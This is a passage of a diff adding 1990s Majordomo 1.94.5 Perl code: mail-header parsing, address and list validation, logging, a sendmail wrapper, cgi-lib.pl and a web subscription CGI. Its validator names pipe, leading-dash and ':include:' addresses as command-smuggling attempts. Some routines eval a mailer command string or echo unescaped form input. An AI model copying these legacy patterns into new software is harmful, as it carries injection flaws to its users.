Routines to parse out an RFC 822 mailheader +# E. H. Spafford, last mod: 11/91 +# +# ParseMailHeader breaks out the header into an % array +# indexed by a lower-cased keyword, e.g. +# &ParseMailHeader(STDIN, *Array); +# use $Array{'subject'} +# +# Note that some duplicate lines (like "Received:") will get joined +# into a single entry in %Array; use @Array if you want them separate +# $Array will contain the unprocessed header, with embedded +# newlines +# @Array will contain the header, one line per entry +# +# RetMailAddr tries to pull out the "preferred" return address +# based on the presence or absence of various return-reply fields + + +# Call as &ParseMailHeader(FileHandle, *array) + +sub main'ParseMailHeader ## Public +{ + local($save1) = ($/); + local($FH, *array) = @_; + local ($keyw, $val); + + %array = (); + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + $/ = ''; + $array = $_ = <$FH>; + s/\n\s+/ /gms; + + @array = split('\n'); + foreach $_ (@array) + { + ($keyw, $val) = m/^([^:]+):\s*(.*\S)\s*$/gms; + $keyw =~ y/A-Z/a-z/; + if (defined($array{$keyw})) { + $array{$keyw} .= ", $val"; + } else { + $array{$keyw} = $val; + } + } + $/ = $save1; +} + + +# Call as $addr = &RetMailAddr(*array) +# This assumes that the header is in RFC 822 format +# We used to strip the raw address from the header here, but the address is +# stripped again before it gets to the mailer and we may want to use the +# whole thing when we do a subscription. +sub main'RetMailAddr ## Public +{ + local(*array) = @_; + + local($ReplyTo) = defined($array{'reply-to'}) ? + $array{'reply-to'} : $array{'from'}; + + $ReplyTo = $array{'apparently-from'} unless $ReplyTo; + + $ReplyTo; +} + +# @addrs = &ParseAddrs($addr_list) +sub main'ParseAddrs { + local($_) = shift; + 1 while s/\([^\(\)]*\)//g; # strip comments + 1 while s/"[^"]*"\s//g; # strip comments" + my @x = split(/,/); # split into parts + foreach (@x) { + 1 while s/.*<(.*)>.*/$1/; + s/^\s+//; + s/\s+$//; + } + + @x; +} + +# Check to see if a list is valid. If it is, return the validated list +# name; if it's not, return "" +sub main'valid_list { + local($listdir) = shift; + # start with a space-separated list of the rest of the arguments + local($taint_list) = join(" ", @_); + # strip harmless matched leading and trailing angle brackets off the list + 1 while $taint_list =~ s/^<(.*)>$/$1/; + # strip harmless trailing "@.*" off the list + $taint_list =~ s/\@.*$//; + # anything else funny with $taint_list probably isn't harmless; let's check + # start with $clean_list the same as $taint_list + local($clean_list) = $taint_list; + # clean up $clean_list + $clean_list =~ s/[^-_0-9a-zA-Z]*//g; + # if $clean_list no longer equals $taint_list, something's wrong + if ($clean_list ne $taint_list) { + return ""; + } + # convert to all-lower-case + $clean_list =~ tr/A-Z/a-z/; + # check to see that $listdir/$clean_list exists + if (! -e "$listdir/$clean_list") { + return ""; + } + return $clean_list; +} + +# compare two email address to see if they "match" by converting to all +# lower case, then stripping off comments and comparing what's left. If +# a optional third argument is specified and it's not undefined, then +# partial matches (where the second argument is a substring of the first +# argument) should return true as well as exact matches. +# +# if optional third argument is 2, then compare the two addresses looking +# to see if the addresses are of the form user@dom.ain.com and user@ain.com +# if that is the format of the two addresses, then return true. +sub main'addr_match { + local($a1) = &main'chop_nl(shift); + local($a2) = &main'chop_nl(shift); + local($partial) = shift; # may be "undef" + + print STDERR "addr_match: enter\n" if $DEBUG; + print STDERR "addr_match: comparing $a1 against $a2\n" if $DEBUG; + + if ($partial == 1) { + $a1 =~ tr/A-Z/a-z/; + $a2 =~ tr/A-Z/a-z/; + if (index($a1, $a2) >= $[) { + return(1); + } else { + return(undef); + } + } + + local(@a1, @a2); + + $a1 =~ tr/A-Z/a-z/; + $a2 =~ tr/A-Z/a-z/; + + @a1 = &main'ParseAddrs($a1); + @a2 = &main'ParseAddrs($a2); + if (($#a1 != 0) || ($#a2 != 0)) { + # Can't match, because at least one of them has either zero or + # multiple addresses + return(undef); + } + + if ($partial == 2 && ($a1[0] ne $a2[0])) { # see if addresses are + # foo@baz.bax.edu, foo@bax.edu + local(@addr1,@addr2); + @addr1 = split(/\@/, $a1[0]); + @addr2 = split(/\@/, $a2[0]); + if ( $#addr1 == $#addr2 && $#addr1 == 1 && + $addr1[0] eq $addr2[0] && (index($addr1[1], $addr2[1]) >= $[)) + { + return(1); + } + } + + return($a1[0] eq $a2[0]); +} + +# These are package globals referenced by &setabortaddr and &abort + +$abort_addr = "owner-majordomo"; + +sub main'set_abort_addr { + $abort_addr = shift unless ($#_ < $[); +} + +# Abort the process, for the reason stated as the argument + +local($log_disabled); +local($logging_abort, $mailing_abort); + +sub main'abort { #' + # first, tell the requestor that something bad happened. + # XXX is this really meaningful for, say, resend? + if (-e main'REPLY) { + print main'REPLY <>> Sorry, an error has occurred while processing your request +>>> The caretaker of Majordomo ( $abort_addr ) has been notified +>>> of the problem. +END_MSG + close (main'REPLY); + } + + # print the reason for the abort to stderr; maybe someone will see it + print STDERR "$main'program_name: ABORT\n", join(" ", @_), "\n"; + + # log the reason for the abort, if possible. We don't log if the + # log is inaccessible, or if we're aborting trying to log that we're + # aborting. + unless ($log_disabled || $logging_abort) { + $logging_abort = join(" ", @_); + &main'log("ABORT", $logging_abort); + $logging_abort = ""; + } + else { + # Use previous message if we recursed + @_ = ($logging_abort) if $logging_abort; + } + + # send a message to the Majordomo owner, if possible. We don't mail + # if we're aborting trying to mail that we're aborting. + if (! $mailing_abort && + defined($abort_addr) && defined($main'bounce_mailer)) { + + $mailing_abort = 1; # Break recursion loops + + # We must set the mailer correctly here just in case it was + # originally set to the normal mailer; that probably won't get us + # anywhere + &main'set_mailer($main'bounce_mailer); + &main'sendmail(ABORT, $abort_addr, "MAJORDOMO ABORT ($main'program_name)");#' + print ABORT <<"EOM"; + +MAJORDOMO ABORT ($main'program_name)!! + +@_ + +EOM + close(ABORT); + } + + exit $EX_DATAERR; +} + +# bitch about a serious problem, but not fatal. + +local($logging_warning, $mailing_warning); + +sub main'bitch { + # print the warning to stderr in case all else fails + # maybe someone will see it + print STDERR "$main'program_name: WARNING\n", join(" ", @_), "\n"; + + # log the warning, if possible + unless ($log_disabled || $logging_warning) { + $logging_warning = 1; + &main'log("WARNING ", join(" ", @_), "\n"); #'; + $logging_warning = 0; + } + + # send a message to the Majordomo owner, if possible + if (! $mailing_warning && + defined($abort_addr) && defined($main'bounce_mailer)) { + + $mailing_warning = 1; # Break recursion loops + + # We must set the mailer correctly here just in case it was + # originally set to the normal mailer; that probably won't get us + # anywhere + &main'set_mailer($main'bounce_mailer); + &main'sendmail(WARN, $abort_addr, "MAJORDOMO WARNING ($main'program_name)");#'; + print WARN <<"EOM"; + +MAJORDOMO WARNING ($main'program_name)!! + +@_ + +EOM + close(WARN); + $mailing_warning = 0; + } +} + + + +# do a quick check of permissions. +# +sub main'check_permissions { + local($err); + if ( ! -w $log_file ) { + if ( ! -e $log_file ) { # log file may not exist, check dir perms. + local($dir); + ($dir) = $log_file =~ m@^(/\S+)/@; + if ( ! -w $dir ) { + $err .= "Unable to create log file in $dir, check permissions.\n"; # + } + } else { + $err .= "Unable to write to log file, check permissions on $log_file\n"; + } + } + + if ( ! -w $main'listdir ) { + $err .= "Unable to write to list directory \$listdir, check permissions on $main'listdir\n"; + } + + if (length $err) { + $err = "While running with an effective uid of $> and an effective gid of $), Majordomo\nran into the following problems:\n" . + $err; + $log_disabled = 1; + &main'abort($err);#'; + } +} + +# These are package globals referenced by &setlogfile and &log +$log_file = "/tmp/log.$$"; +$log_host = "UNKNOWN"; +$log_program = "UNKNOWN"; +$log_session = "UNKNOWN"; + +# set the log file +sub main'set_log { + $log_file = shift unless ($#_ < $[); + $log_host = shift unless ($#_ < $[); + $log_program = shift unless ($#_ < $[); + $log_session = shift unless ($#_ < $[); + +} + +# Log a message to the log +sub main'log { + + print STDERR "$0: main'log()\n" if $DEBUG; + + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime; + local(*MAILMSG); + + print STDERR "$0: main'log(): opening logfile $log_file\n" if $DEBUG; + + if (&main'lopen(LOG, ">>", $log_file)) { #'; + # if the log is open, write to the log + printf LOG "%s %02d %02d:%02d:%02d %s %s[%d] {%s} ", + $ctime'MoY[$mon], $mday, $hour, $min, $sec, + $log_host, $log_program, $$, $log_session; + print LOG join(" ", @_), "\n"; + &main'lclose(LOG); + } else { + + print STDERR "$0: main'log(): log not open, writing to STDERR and attempting to mail.\n" if $DEBUG; + + # otherwise, write to stderr + printf STDERR "%s[%d] {%s} ", $log_program, $$, $log_session; + print STDERR join(" ", @_), "\n"; + + # send a message to the Majordomo owner, if possible + if (defined($abort_addr)) { + &main'sendmail(MAILMSG, $abort_addr, # '( + "MAJORDOMO NOTICE: Can't open log"); + printf MAILMSG "%s[%d] {%s} ", $log_program, $$, $log_session; + print MAILMSG join(" ", @_), "\n"; + } + } + print STDERR "$0: main'log(): done\n" if $DEBUG; + +} + +# Globals referenced by &set_mail* and &sendmail +$mail_prog = "$sendmail_command -f\$sender -t"; +$mail_from = $whoami; +$mail_sender = $whoami_owner; + +# set the mailer +sub main'set_mailer { + $mail_prog = shift; +} + +# set the default from address +sub main'set_mail_from { + $mail_from = shift; +} + +# set the default sender address +sub main'set_mail_sender { + $mail_sender = shift; +} + +# Exec a mailer process +sub main'do_exec_sendmail { + &main'abort("do_exec_sendmail, number of args <= 1 unsafe to exec") + if scalar(@_) <= 1; + # It makes sense to check to see that the mailer is valid here, but the + # abort routine must make certain that recursion doesn't develop, + # because abort calls this routine. + &main'abort("$main'program_name: do_exec_sendmail, mailer $_[0] not executable") + unless (-x $_[0]); + exec(@_); + die("Failed to exec mailer \"@_\": $!"); +} + +# Open a mailer on the far end of a filehandle +sub main'sendmail { #'' + local($MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($from) = $mail_from; + local($sender) = $mail_sender; + # The following eval expands embedded variables like $sender + local($mail_cmd) = eval qq/"$mail_prog"/; + local($isParent); + if ($#_ >= $[) { $from = shift; } + if ($#_ >= $[) { $sender = shift; } + + # force unqualified filehandles into caller's package + local($package) = caller; + $MAIL =~ s/^[^':]+$/$package'$&/; + + # clean up the addresses, for use on the mailer command line + local(@to) = &main'ParseAddrs($to); + for (@to) { + $_ = join(", ", &main'ParseAddrs($_)); + } + $to = join(", ", @to); #'; + +print STDERR "$0: main'sendmail: To $to, Subject $subject, From $from\n" + if $DEBUG; +print STDERR "$0: main'sendmail: Sender $sender, mail_cmd = $mail_cmd\n" + if $DEBUG; + + # open the process + if (defined($isParent = open($MAIL, "|-"))) { + &main'do_exec_sendmail(split(' ', $mail_cmd)) + unless ($isParent); + } else { + &main'abort("Failed to fork prior to mailer exec"); + } + + # Generate the header. Note the line beginning with "-"; this keeps + # this message from being reprocessed by Majordomo if some misbegotten + # mailer out there bounces it back. + print $MAIL +"To: $to +From: $from +Subject: $subject +Reply-To: $from + +-- + +"; + + return; +} + +# check the password for a list +sub main'valid_passwd { + local($listdir, $list, $passwd) = @_; + + # is it a valid list? + local($clean_list) = &main'valid_list($listdir, $list); + if ($clean_list ne "") { + # it's a valid list check config passwd first + if (defined($main'config_opts{$clean_list,"admin_passwd"}) && + $passwd eq $main'config_opts{$clean_list,"admin_passwd"} ) + { return 1; } + + # read the password from the file in any case + if (&main'lopen(PASSWD, "", "$listdir/$clean_list.passwd")) { + local($file_passwd) = ; + &main'lclose(PASSWD); + $file_passwd = &main'chop_nl($file_passwd); + # got the password; now compare it to what the user sent + if ($passwd eq $file_passwd) { + return 1; + } else { + return 0; + } + } else { + return 0; + } + } else { + return 0; + } +} + +# Check to see that this is a valid address. +# A valid address is a single address with +# no "|" in the address part. It may not start with a - either. +# If it has a / in it, we use some heuristics to find out if the address +# may be a file. Some other heuristics attempt to look for a valid X.400 +# address. This is not infalible. +sub main'valid_addr { + local($addr, $list) = @_; + local(@addrs, $temp); + + # Parse the address out into parts + @addrs = &main'ParseAddrs($addr); + + # if there's not exactly 1 part, it's no good + # XXX Should inform the poor user of this fact. + if ($#addrs != 0) { + return undef; + } + + local($_) = $addrs[0]; + + # Deal with unbalanced brackets or parenthesis in an address. + $temp = $_; + + # Nuke anything within quotes. + 1 while $temp =~ s/(^|([^\\\"]|\\.)+)\"(([^\\\"]|\\.)*|$)\"?/$1/g; + + # Remove nested parentheses " <- placate emacs' highlighting + 1 while $temp =~ s/\([^\(\)]*\)//g; + + # Remove nested angle brackets + 1 while $temp =~ s/\<[^\<\>]*\>//g; + + # remove nested square brackets + 1 while $temp =~ s/\[[^\[\]]*\]//g; + + # If any parentheses of brackets remain, they are unbalanced and the + # address is illegal. + if ($temp =~ /[\(\)\<\>\[\]]/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM" +**** The address you supplied, $_ +**** Does not seem to be a legal Internet address. It seems to have an +**** uneven number of parentheses or brackets. + +EOM + + } + &main'log("WARNING", "Unbalanced address: $_"); + return undef; + } + + if ($temp =~ /[,;:]/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM" +**** The address you supplied, $_ +**** Does not seem to be a legal Internet address. It seems to have +**** unquoted colons, commas, or semicolons. + +EOM + + } + &main'log("WARNING", "Illegal chars in address: $_"); + return undef; + } + + + # Deal with legal spaces in a stripped address, then check and reject + # any remaining space. Note that as I write this, the comment stripper + # ParseAddrs does not handle things like a quoted local part but I've + # included the correct routines just in case it ever does. + $temp = $_; + + # We assume that the comment stripper will have eaten leading and + # trailing space. + + # This mess turns "jason ti bb i tt s"@hpc.uh.edu into + # "jasontibbitts"@hpc.uh.edu + 1 while $temp =~ s/\"(.*)\s(.*)\"/\"$1$2\"/g; + + # This compresses space before dots or `@'s. " <- placate emacs' highlighting + 1 while $temp =~ s/\s(\.|@)/$1/g; + + # This compresses space after dots or `@'s. + 1 while $temp =~ s/(\.|@)\s/$1/g; + + # We've taken out all legitimate space from the address (yes, RFC822 + # permits that kind of bogosity), so if the address has spaces, we have + # a problem. + if ($temp =~ /\s/) { + if (-e main'REPLY) { + print main'REPLY <<"EOM"; +**** The address you supplied, $_ +**** does not seem to be a legal Internet address. You may have supplied +**** your full name instead of your address, or you may have included your +**** name along with your address in a manner that does not comply with +**** Internet standards for addresses. +**** It is also possible that you are using a mailer that wraps long lines +**** and the end of your request ended up on the following line. If the +**** latter is true, try using backslashes to split long lines. (Split the +**** line between words, then put a backslash at the end of all but the +**** last line.) + +EOM + } + &main'log("WARNING", "Illegal space in address: $_"); + return undef; + } + + # Addresses must have both an @ and a . + if (!(/\@/ && /\./)) { + if (-e main'REPLY) { + print main'REPLY <<"EOM"; +**** The address you supplied, $_ +**** is not a complete address. When providing an address, you must give +**** the full name of the machine including the domain part (like +**** host.corp.com), not just your user name or your name and the short +**** name of the machine (just user or user\@host is not legal). + +EOM + } + &main'log("WARNING", "Non-domained address: $_"); + return undef; + } + + + # o if there's a "|" in it, it's hostile + # o if there is a - sign at the front of the address, it may be an attempt + # to pass a flag to the MTA + # o bail if they're attempting to subscribe the list to itself + # + + print STDERR "$0: valid_addr: comparing '$addr' to '$list'\n" if $DEBUG; + + # XXX Should at least tell the user that there was a problem. + if ( /\|/ || /^-/ ) { + &main'abort("HOSTILE ADDRESS (invalid first char or |) $addr"); #' + return undef; + } + + # Some sendmails are dumb enough to do bad things with this + if (/\:include\:/) { + &main'abort("HOSTILE ADDRESS (tried to use :include: syntax) $addr"); #' + return undef; + } + + if ( $addr eq $list ) { + &main'abort("HOSTILE ADDRESS (tried to subscribe list) $addr"); # ' + return undef; + } + + # if the is a / in it, it may be an attempt to write to a file. + # or it may be an X.400, HP Openmail or some other dain bramaged + # address 8-(. We check this by breaking the address on '/'s + # and checking to see if the first component of the address + # exists. If it does we bounce it as a hostile address. + + # XXX Again, we shouldn't be aborting without telling the user + if ( m#/# ) { + local(@components) = ($_ =~ /([\/\@]?[^\/\@]+)/g); + + &main'abort("HOSTILE ADDRESS (path exists to /file) $addr") + if (-e "/$components[0]"); #' + &main'abort("HOSTILE ADDRESS (path exists to file) $addr") + if (-e "$components[0]"); #' + + # then as an extra check that can be turned off in the majordomo.cf + # file we make sure that the last component of the address has an + # @ sign on it for an X.400->smtp gateway translation. + + if (!$main'no_x400at) { + &main'abort("HOSTILE ADDRESS (no x400 \@) $addr") if ( + "$components[$#components]" !~ /\@/); #' + } + + # check to see that the c= and a[dm]= parts exist + if (!$main'no_true_x400) { + &main'abort("HOSTILE ADDRESS (no x400 c=) $addr") + if ($_ !~ m#/c=#); #' + &main'abort("HOSTILE ADDRESS (no x400 a[dm]=) $addr") + if ($_ !~ m#/a[dm]=#); #' + } + } + +print STDERR "$0: valid_addr: exit\n" if $DEBUG; + + return $_; +} + +# is this a valid filename? +sub main'valid_filename { + local($directory) = shift; + local($list) = shift; + local($suffix) = shift; + local($taint_filename) = shift; + local($clean_filename); + + # Safety check the filename. + if ($taint_filename =~ /^[\/.]|\.\.|[^-_0-9a-zA-Z.\/] /) { + return undef; + } else { + $clean_filename = $taint_filename; + } + if (! -f "$directory/$list$suffix/$clean_filename") { + return undef; + } + return "$directory/$list$suffix/$clean_filename"; +} + +# Chop any trailing newlines off of a string, and return the string +sub main'chop_nl { + if ($#_ >= $[) { + local($x) = shift; + $x =~ s/\n+$//; + return($x); + } else { + return(undef); + } +} + +# Perform simple filename globbing, so we don't have to use the <...> glib +# syntax which has caused problems. +sub main'fileglob { + local($dir) = shift; + local($pat) = shift; + local(@files) = (); + + opendir(DIR, $dir) || return undef; + @files = grep(/$pat/, readdir(DIR)); + grep($_ = "$dir/$_", @files); # perl4 doesn't have map! + + closedir(DIR); + + return @files; +} + +sub main'is_list_member { + local($subscriber, $listdir, $clean_list, $file) = @_; + local($matches) = 0; + local(*LIST); + local($_); + + print STDERR "is_list_member: enter\n" if $DEBUG; + + $file = "$listdir/$file" if defined $file && $file !~ m|^/|; + $file = "$listdir/$clean_list" unless defined $file; + print STDERR "is_list_member: checking $file for $subscriber\n" + if $DEBUG; + if (open(LIST, $file)) { + while () { + if (&main'addr_match($subscriber, $_, + (&main'cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + $matches++; + last; + } + } + close(LIST); + } + else { + &main'bitch("Can't read $file: $!"); #'""; + } + + print STDERR "is_list_member: exit $matches\n" if $DEBUG; + + return($matches); +} + +# From: pdc@lunch.engr.sgi.com (Paul Close) +# > Shouldn't list and list-digest be equivalent for things like +# > retrieval of files? As it stands now, if I subscribe to +# > foo-list-digest and I want to retrieve a file for foo-list or list the +# > members of foo-list, and foo-list is a private list for these +# > purposes, then I'm out of luck. +# +# I agree. The approach I took for solving this was to add a function called +# private_okay() to use instead of list_member() in cases where you wanted to +# restrict function to members of the list or list-digest. +# +# If restrict_post is defined, private_okay searches those lists, otherwise +# it searches list and list-digest. Anywhere majordomo consults a private_* +# variable, I use private_okay instead of list_member. Works quite nicely. +# +# Added in access checking mechanisms as well to replace +# private_XYZ with some flexability. This will be exanded to be +# more flexible than the current [open|list|closed] capability. +# --Chan 96/04/23 +# +sub main'access_check { + local($cmd, $subscriber,$listdir,$clean_list) = @_; + local(@lists,$list,$altlist,$total); + + print STDERR "access_check: enter\n" if $DEBUG; + + # bail right away if the command is disabled. + # + if ($main'config_opts{$clean_list, "${cmd}_access"} =~ /closed/) {#' + print STDERR "access_check: ${cmd}_access is closed.\n" if $DEBUG; + return 0 ; + } + + # bail right away if the command is wide open + # + if ($main'config_opts{$clean_list, "${cmd}_access"} =~ /open/) {#' + print STDERR "access_check: ${cmd}_access is open.\n" if $DEBUG; + return 1; + } + + # now check a little deeper. + # + if ( length($main'config_opts{$clean_list,'restrict_post'} )) { + @lists = split(/[:\s]+/, + $main'config_opts{$clean_list,'restrict_post'}); + } else { + if ($clean_list =~ /(.*)-digest/) { + $altlist = $1; + } else { + $altlist = "$clean_list-digest"; + } + @lists = ($clean_list); + push(@lists, $altlist) if -e "$listdir/$altlist"; + } + + print STDERR "access_check: checking lists " , join(', ', @lists), "\n" + if $DEBUG; + + $total = 0; + foreach $list (@lists) { + $total += &main'is_list_member($subscriber, $listdir, $clean_list, $list); + } + print STDERR "access_check: exit\n" if $DEBUG; + return $total; +} + +1; diff --git a/update/scripts/packages/majordomo-1.94.5/majordomo_version.pl b/update/scripts/packages/majordomo-1.94.5/majordomo_version.pl new file mode 100644 index 0000000..ec7c897 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/majordomo_version.pl @@ -0,0 +1,5 @@ +# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.28 2000/01/18 13:28:07 cwilson Exp $ + +$majordomo_version = "1.94.5"; +1; + diff --git a/update/scripts/packages/majordomo-1.94.5/md-sub/catdb b/update/scripts/packages/majordomo-1.94.5/md-sub/catdb new file mode 100644 index 0000000..0870a7f --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/md-sub/catdb @@ -0,0 +1,20 @@ +#!/usr/local/gnu/bin/perl +# +# catdb +# +# Author: John Orthoefer +# Date: 7 Jan 1996 +# +# Introduction +# This program dumps out a dbm file so you can see what the keys are and +# what the values are. + +dbmopen( %DB, "$ARGV[0]", 0666); + +foreach $i (keys %DB) { + print "$i = \"$DB{$i}\"\n"; +} + +dbmclose( DB); + +exit 0; diff --git a/update/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl b/update/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl new file mode 100644 index 0000000..4f44f64 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl @@ -0,0 +1,170 @@ +#!/usr/local/bin/perl -- -*- C -*- + +# Perl Routines to Manipulate CGI input +# S.E.Brenner@bioc.cam.ac.uk +# $Header: /sources/cvsrepos/majordomo/md-sub/cgi-lib.pl,v 1.1 1996/02/01 15:17:43 cwilson Exp $ +# +# Copyright 1994 Steven E. Brenner +# Unpublished work. +# Permission granted to use and modify this library so long as the +# copyright above is maintained, modifications are documented, and +# credit is given for any use of the library. +# +# Thanks are due to many people for reporting bugs and suggestions +# especially Meng Weng Wong, Maki Watanabe, Bo Frese Rasmussen, +# Andrew Dalke, Mark-Jason Dominus and Dave Dittrich. + +# For more information, see: +# http://www.bio.cam.ac.uk/web/form.html +# http://www.seas.upenn.edu/~mengwong/forms/ + +# Minimalist http form and script (http://www.bio.cam.ac.uk/web/minimal.cgi): +# +# require "cgi-lib.pl"; +# if (&ReadParse(*input)) { +# print &PrintHeader, &PrintVariables(%input); +# } else { +# print &PrintHeader,'
    Data: '; +#} + +# ReadParse +# Reads in GET or POST data, converts it to unescaped text, and puts +# one key=value in each member of the list "@in" +# Also creates key/value pairs in %in, using '\0' to separate multiple +# selections + +# Returns TRUE if there was input, FALSE if there was no input +# UNDEF may be used in the future to indicate some failure. + +# Now that cgi scripts can be put in the normal file space, it is useful +# to combine both the form and the script in one place. If no parameters +# are given (i.e., ReadParse returns FALSE), then a form could be output. + +# If a variable-glob parameter (e.g., *cgi_input) is passed to ReadParse, +# information is stored there, rather than in $in, @in, and %in. + +sub ReadParse { + local (*in) = @_ if @_; + local ($i, $key, $val); + + # Read in text + if (&MethGet) { + $in = $ENV{'QUERY_STRING'}; + } elsif ($ENV{'REQUEST_METHOD'} eq "POST") { + read(STDIN,$in,$ENV{'CONTENT_LENGTH'}); + } + + @in = split(/&/,$in); + + foreach $i (0 .. $#in) { + # Convert plus's to spaces + $in[$i] =~ s/\+/ /g; + + # Split into key and value. + ($key, $val) = split(/=/,$in[$i],2); # splits on the first =. + + # Convert %XX from hex numbers to alphanumeric + $key =~ s/%(..)/pack("c",hex($1))/ge; + $val =~ s/%(..)/pack("c",hex($1))/ge; + + # Associate key and value + $in{$key} .= "\0" if (defined($in{$key})); # \0 is the multiple separator + $in{$key} .= $val; + + } + + return length($in); +} + + +# PrintHeader +# Returns the magic line which tells WWW that we're an HTML document + +sub PrintHeader { + return "Content-type: text/html\n\n"; +} + + +# MethGet +# Return true if this cgi call was using the GET request, false otherwise + +sub MethGet { + return ($ENV{'REQUEST_METHOD'} eq "GET"); +} + +# MyURL +# Returns a URL to the script +sub MyURL { + return 'http://' . $ENV{'SERVER_NAME'} . $ENV{'SCRIPT_NAME'}; +} + +# CgiError +# Prints out an error message which which containes appropriate headers, +# markup, etcetera. +# Parameters: +# If no parameters, gives a generic error message +# Otherwise, the first parameter will be the title and the rest will +# be given as different paragraphs of the body + +sub CgiError { + local (@msg) = @_; + local ($i,$name); + + if (!@msg) { + $name = &MyURL; + @msg = ("Error: script $name encountered fatal error"); + }; + + print &PrintHeader; + print "$msg[0]\n"; + print "

    $msg[0]

    \n"; + foreach $i (1 .. $#msg) { + print "

    $msg[$i]

    \n"; + } + print "\n"; +} + +# PrintVariables +# Nicely formats variables in an associative array passed as a parameter +# And returns the HTML string. + +sub PrintVariables { + local (%in) = @_; + local ($old, $out, $output); + $old = $*; $* =1; + $output .= "
    "; + foreach $key (sort keys(%in)) { + foreach (split("\0", $in{$key})) { + ($out = $_) =~ s/\n/
    /g; + $output .= "
    $key
    $out
    "; + } + } + $output .= "
    "; + $* = $old; + + return $output; +} + +# PrintVariablesShort +# Nicely formats variables in an associative array passed as a parameter +# Using one line per pair (unless value is multiline) +# And returns the HTML string. + + +sub PrintVariablesShort { + local (%in) = @_; + local ($old, $out, $output); + $old = $*; $* =1; + foreach $key (sort keys(%in)) { + foreach (split("\0", $in{$key})) { + ($out = $_) =~ s/\n/
    /g; + $output .= "$key is $out
    "; + } + } + $* = $old; + + return $output; +} + +1; #return true + diff --git a/update/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi b/update/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi new file mode 100644 index 0000000..61f8289 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi @@ -0,0 +1,413 @@ +#!/usr/local/gnu/bin/perl +# +# md-sub.cgi +# +# Author: John Orthoefer +# Date: 17 Jan 1996 +# +# Introduction +# This cgi allows people web surfing to subscribe to mailing list. +# It presents the person with a form when called with out options. +# when called with options it will send a mail message to the +# mailing list. +# +# Installing +# To install this software: +# o put the script in the cgi-bin directory +# o set the following varables up for your site +# cgiloc - url of this script as refered to via the web +# listsdb - where the database of lists is going to live +# logfile - where the log for script activity should go +# sendmail - the sending e-mail program, it should have the +# option to read the incoming stream for the To +# address set, '-t' on sendmail. +# o initialize the database +# + list all your mailing lists and contact addresses in a file +# one per line as in +# firewalls majordomo@greatcircle.com +# warhammerfb majordomo@direwolf.com +# majordomo-workers majordomo@greatcircle.com +# default warhammerfb +# help webmaster@here.org +# +# note: there are 3 special names +# default -- This is the mailing list that will be +# selected when the form is first +# presented to the user. +# help -- This is the address for people to send +# help to. +# info -- This is used to specify a URL for information about +# a mailing list. +# the format is: +# info listname url +# where: listname matches a list that is specifed +# elsewhere in the file. +# url is some url on the web. +# + then run the the script with the '-C filename' option +# to construct the database. The create option will only +# add to the database. If you want to clear the database, +# you need to 'rm $listsdb*' (there will be two file a +# .dir and .pag file.) +# o add a link to the scripts URL in your web pages. +# + if you want to make different default mailing lists based on +# which pages you came from you can do this by passing the param +# default=listname +# as part of the URL. +# ie: +# This will cause mylist to be the default selected one instead of +# the database default. +# +# Misc +# This script needs two perl libs cgi-lib.pl (included in this +# distrubution.) and getopts.pl (which should be included with +# your perl distrubution.) +# +# Scalars that need to be changed +# +$cgiloc = "http://stout/~jco/md-sub.cgi"; +$listsdb = "/usr/jco/.md-subrc"; +$logfile = "/usr/jco/md-sub.log"; +#$sendmail = "|/usr/lib/sendmail -t"; +$sendmail = "|/usr/bin/cat - > /tmp/test.out"; # This one is for + # testing... + +# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +# NOTHING BELOW HERE SHOULD NEED TO BE CHANGED +# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +# +# Required file +require 'cgi-lib.pl'; +use Getopt::Std; + +# +# Version number +$version = "1.0"; + +# +# Info +$info = "jco\@direwolf.com"; + +# +# Call Getopts +getopts( 'C:v'); + +# +# Check to see if we are creating a DB +if ($opt_C) { + &create_lists( $opt_C); + exit 0; +} + +# +# Check to see if the version is being intergated. +if ($opt_v) { + print "Version: $version\n"; + exit 0; +} + +# +# Read the list DB +&load_lists; + +# +# Figure out if we have a filled in form or we need to send a form +if (&ReadParse && !defined( $in{ 'default'})) { + if (defined $in{ 'infopage'} ) { + &infopage; + } else { + $in{ 'mailing_list'} =~ s/\*$//; # drop the * at the end of the name. + &sendmessage; + } +} else { + &form; +} + +# +# Birthday party, cheesecake, jelly bean, boom! +# R.E.M. +exit 0; + +# +# create_lists +# Create the DBM file. +sub create_lists { + local( $file) = @_; + + open( LISTS, $file); + dbmopen( %MLRC, $listsdb, 0644); + + while( ) { + chop; + ($name, $address) = /(\S*)\s*(.*)/; + if ($name =~ /info/i) { + ($name, $address) = $address =~/(\S*)\s*(.*)/; + $MLRC{ "LISTINFO-$name"} = $address; + @info = (@info, $name); + } else { + @ml = (@ml, $name); + $MLRC{ "LISTNAME-$name"} = $address; + } + } + + $MLRC{ 'mailing-lists'} = join( ";", @ml); + $MLRC{ 'mailing-info'} = join( ";", @info); + dbmclose( MLRC); +} + +# +# load_lists +# read in the DBM file. +sub load_lists { + if (!dbmopen( %MLRC, $listsdb, undef)) { + &log( "Can't open $listsdb"); + exit 1; + } + + foreach $i (split(/;/, $MLRC{'mailing-lists'})) { + $ml{$i} = $MLRC{ "LISTNAME-$i"}; + } + + foreach $i (split(/;/, $MLRC{'mailing-info'})) { + $mi{$i} = $MLRC{ "LISTINFO-$i"}; + } + + dbmclose( MLRC); +} + +# +# form +# Present the form to the user to fill out +sub form { + +# Form header + print < +Mailing List Subscription + + +
    Mailing List Subscription Form
    +
    +
